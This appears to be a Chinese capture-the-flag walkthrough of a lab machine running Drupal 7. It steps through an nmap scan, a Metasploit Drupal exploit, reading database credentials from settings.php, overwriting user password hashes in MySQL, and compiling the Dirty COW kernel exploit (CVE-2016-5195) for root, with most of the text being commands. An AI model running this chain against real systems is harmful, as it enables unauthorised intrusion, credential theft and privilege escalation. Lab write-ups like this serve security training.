1. 信息搜集
IP扫描,发现主机 192.168.163.131
端口扫描,发现三个端口
1
nmap -T4 -A -p- 192.168.163.131
2. 渗透测试
访问80端口,未发现有效信息,目录扫描未发现其他目录
访问1898端口,发现网站,扫描目录,发现robots.txt
查看文章,发现url格式 http://192.168.163.131:1898/?q=node/2
,更改数字发现3个页面,发现两个音频文件和一个图片
whatweb
扫描网站框架,Drupal 7
2.1. 反弹shell
msfconsole
搜索相关漏洞
使用编号为1的漏洞
1
2
3
4
5
use 1
options
set rhosts 192.168.163.131
set rport 1898
run
连接成功后,进入shell
1
2
shell
python -c "import pty;pty.spawn('/bin/bash')"
搜索Drupal站点的配置文件
1
2
3
4
# 搜索配置文件
find . -name "setting*" -type f
# 搜索密码加密脚本
find . -name "pass*" -type f
搜索到 ./sites/default/settings.php
./scripts/password-hash.sh
查看settings.php,发现数据库配置
1
2
3
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'Virgulino',
使用 ./scripts/password-hash.sh 123
生成密码,用于更改用户密码
1
123:$S$DFn4g4WKRfqgHk28yFUea5g5jNoWb/iHXIPDz6BtI2dqdrw.UOmz
2.2. 连接数据库
1
mysql -u drupaluser -pVirgulino
use drupal;
show tables;
select * from users\G;
# tiago $S$DNZ5o1k/NY7SUgtJvjPqNl40kHKwn4yXy2eroEnOAlpmT0TJ9Sx8
# Eder $S$Dv5orvhi7okjmViImnVPmVgfwJ2U..PNK4E9IT/k7Lqz9GZRb7tY
update users set pass='$S$DFn4g4WKRfqgHk28yFUea5g5jNoWb/iHXIPDz6BtI2dqdrw.UOmz' where uid=1 or uid=2;
登录网站。
使用数据库密码尝试登录用户:tiago
ls -R /home
tiago用户目录下无东西,尝试提权
1
2
3
sudo -l
# Sorry, user tiago may not run sudo on lampiao.
find / -exec "/bin/bash" -p \; -quit
2.3. 内核提权
查看内核版本
搜索脏牛漏洞 CVE-2016-5195
1
searchsploit dirty
使用 40847.cpp
1
2
3
4
# 复制到到当前目录
searchsploit -m 40847.cpp
# 传输到目标机
scp 40847.cpp tiago@192.168.163.131:~
1
2
3
4
5
# 在目标机上编译
g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
# 执行
./40847
# Root password is: dirtyCowFun
root登录,获取flag文件